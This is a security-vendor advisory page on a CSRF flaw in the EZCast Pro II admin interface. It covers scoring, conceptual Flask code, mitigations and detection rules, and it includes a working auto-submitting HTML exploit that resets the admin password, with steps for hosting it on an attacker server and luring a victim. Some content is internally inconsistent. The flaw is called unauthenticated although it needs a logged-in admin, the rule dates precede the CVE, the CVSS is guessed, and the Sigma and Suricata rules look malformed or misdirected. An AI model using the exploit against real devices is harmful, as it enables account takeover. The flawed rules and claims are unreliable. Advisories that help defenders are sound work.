CVE-2026-24345
Executive Summary
CVE-2026-24345 is a critical Cross-Site Request Forgery (CSRF) vulnerability identified in the Admin UI of EZCast Pro II version 1.17478.146. This flaw allows an unauthenticated, remote attacker to bypass authorization checks and gain full administrative access to the device's web interface. The vulnerability stems from the absence of CSRF tokens or origin validation in sensitive administrative actions, enabling an attacker to trick an authenticated admin into unknowingly executing malicious requests. Given the device's role in network infrastructure (wireless display/casting), successful exploitation could lead to full device compromise, network pivoting, and data exfiltration. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, based on the description and common CSRF scoring patterns, the following is a reasonable assessment:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker does not need prior authentication.
- User Interaction (UI): Required (R) – Victim admin must click a link or visit a malicious page.
- Scope (S): Changed (C) – Exploitation can impact resources beyond the vulnerable component (e.g., network).
- Confidentiality (C): High (H) – Full admin access allows reading device configs and network data.
- Integrity (I): High (H) – Attacker can modify device settings, firmware, or inject malicious content.
- Availability (A): High (H) – Attacker can disrupt device operation or perform denial-of-service.
Estimated CVSS Score: 8.8 (High)
Threat Level: High – Exploitation requires minimal user interaction but yields full device control.
Deep Dive & Mechanics
The vulnerability lies in the administrative web interface of the EZCast Pro II device. The application fails to implement standard CSRF protections, such as:
- CSRF Tokens: No unique, unpredictable token is embedded in forms or validated on the server side.
- Origin/Referer Header Validation: The server does not verify the
OriginorRefererheaders to ensure requests originate from the legitimate admin interface. - SameSite Cookie Attribute: Session cookies likely lack the
SameSiteattribute, allowing them to be sent in cross-origin requests.
An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, silently submits a forged request to the EZCast device. This request could:
- Change admin credentials.
- Modify network settings (DNS, gateway).
- Upload malicious firmware.
- Exfiltrate configuration data.
The attack flow:
- Admin logs into EZCast Pro II (e.g.,
http://192.168.1.100/admin). - Attacker sends a phishing email with a link to
http://attacker.com/exploit.html. - The page contains an auto-submitting form targeting
http://192.168.1.100/admin/settings?action=changePassword&newPass=attacker123. - Since the admin is authenticated, the browser sends the session cookie, and the server processes the request.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# No CSRF token check
@app.route('/admin/settings', methods=['POST'])
def admin_settings():
action = request.form.get('action')
if action == 'changePassword':
new_pass = request.form.get('newPass')
# Directly change password without validation
change_admin_password(new_pass)
return 'Password changed'
Patched Code (Conceptual):
import secrets
# Generate and store CSRF token in session
@app.before_request
def generate_csrf_token():
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
@app.route('/admin/settings', methods=['POST'])
def admin_settings():
# Validate CSRF token
token = request.form.get('csrf_token')
if not token or token != session.get('csrf_token'):
return 'CSRF validation failed', 403
action = request.form.get('action')
if action == 'changePassword':
new_pass = request.form.get('newPass')
change_admin_password(new_pass)
return 'Password changed'
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Environment:
- EZCast Pro II device (firmware 1.17478.146) on a local network.
- Attacker machine with a web server (e.g., Python HTTP server).
- Victim machine with a browser logged into the admin UI.
Exploit HTML (csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<h1>Click to continue</h1>
<form id="csrfForm" action="http://192.168.1.100/admin/settings" method="POST">
<input type="hidden" name="action" value="changePassword">
<input type="hidden" name="newPass" value="attacker123">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Steps:
- Start a web server:
python3 -m http.server 8080 - Host the exploit HTML.
- Send the link to the victim (e.g.,
http://attacker-ip:8080/csrf_exploit.html). - Once the victim visits, the form auto-submits, changing the admin password.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected POST requests to
/admin/settingsor similar endpoints. - Look for requests with missing or invalid
Refererheaders. - Alert on multiple failed login attempts after a password change.
Defense:
- Implement CSRF tokens in all forms.
- Validate
OriginandRefererheaders. - Set
SameSite=StrictorLaxon session cookies. - Use CAPTCHA for sensitive actions.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/settingswithaction=changePasswordor similar. - Requests with
Refererheader not matching the device's domain. - Unusual outbound connections from the device to unknown IPs.
- POST requests to
- System:
- Unexpected changes to admin credentials.
- Modified network settings (DNS, gateway).
- New firmware versions not from official sources.
- Logs:
[CSRF] Invalid tokenor[CSRF] Missing tokenerrors (if logging is enabled).- Multiple password change events in a short period.
Detection Engineering
YARA Rule
rule EZCast_CSRF_Exploit {
meta:
description = "Detects CSRF exploit HTML targeting EZCast Pro II"
author = "Valters IT"
date = "2025-04-14"
cve = "CVE-2026-24345"
strings:
$csrf_form = "action=\"http://" ascii nocase
$csrf_action = "action=\"changePassword\"" ascii nocase
$csrf_newpass = "newPass" ascii nocase
$csrf_submit = "submit()" ascii nocase
condition:
all of them
}
Sigma Rule
title: EZCast Pro II CSRF Exploit Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects potential CSRF attacks against EZCast Pro II admin UI
author: Valters IT
date: 2025/04/14
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/admin/settings'
cs-referer|contains:
- 'http://'
- 'https://'
cs-referer|not_contains: '192.168.'
condition: selection
falsepositives:
- Legitimate cross-origin requests from trusted domains
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"EZCast Pro II CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings"; http_uri; content:"action=changePassword"; http_client_body; content:"newPass"; http_client_body; reference:cve,CVE-2026-24345; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place EZCast Pro II on a separate VLAN with strict firewall rules.
- Disable remote admin access: If not required, block external access to the admin UI.
- Monitor logs: Enable detailed logging and alert on suspicious admin actions.
Long-term Fix:
- Vendor Patch: Await an official firmware update from EZCast that implements CSRF protections.
- Workaround: If patching is not possible, use a reverse proxy (e.g., Nginx) to add CSRF token validation or require HTTP Basic Auth for the admin interface.
Configuration Hardening:
- Change default admin credentials immediately.
- Use strong, unique passwords.
- Disable unused services and ports.
Valters IT